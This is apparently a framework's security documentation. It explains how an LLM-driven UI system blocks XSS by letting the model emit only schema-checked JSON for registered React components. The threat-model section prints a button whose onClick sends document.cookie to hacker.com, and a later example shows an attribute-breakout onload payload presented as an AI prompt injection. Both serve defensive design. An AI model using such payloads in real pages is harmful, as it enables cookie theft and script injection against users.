Security Architecture

Overview

One of the greatest challenges of letting Large Language Models generate User Interfaces is security. If an LLM is allowed to generate raw HTML, CSS, or React code, the host application is immediately vulnerable to Cross-Site Scripting (XSS), malicious script injections, and broken DOM structures.

OUAS solves this by never allowing the AI to generate code. Instead, the AI generates bounded JSON configurations that map to pre-compiled, strictly typed React components.

The Threat Model

<button onClick="fetch('http://hacker.com?cookie='+document.cookie)">
Click Me
</button>

{
"target_id": "payment-button",
"props": {
  "label": "Click Me"
}
}

Security Guarantees

1. No Code Execution

The AI Agent operates entirely out-of-band. It communicates with the host application strictly via REST API or WebSocket using JSON payloads. The host application's @ouas/renderer receives this JSON and passes the data as React props. React natively escapes all strings passed as props, neutralizing any XSS attempts.

2. The Component Firewall

The AI cannot invent new components. If the AI attempts to render target_id: "malicious-iframe", the @ouas/renderer will intercept it. Because "malicious-iframe" is not explicitly registered in the ComponentRegistry via the withOUAS wrapper, the renderer will drop the request entirely.

3. Prop Schema Enforcement

Even if the AI correctly targets an allowed component (e.g., user-profile), it cannot pass arbitrary props.

When you define a schema using withOUAS, you define exactly what the AI can touch:

export const UserProfile = withOUAS(UserProfileBase, {
  id: 'user-profile',
  schema: {
    theme: { type: 'string', enum: ['light', 'dark'] } // AI can ONLY choose 'light' or 'dark'
  }
});

If the AI attempts a Prompt Injection by passing theme: "dark\" onload=\"alert(1)\"", the OUAS Validation Pipeline will instantly reject the JSON payload because it violates the strict enum constraint before it ever reaches the React tree.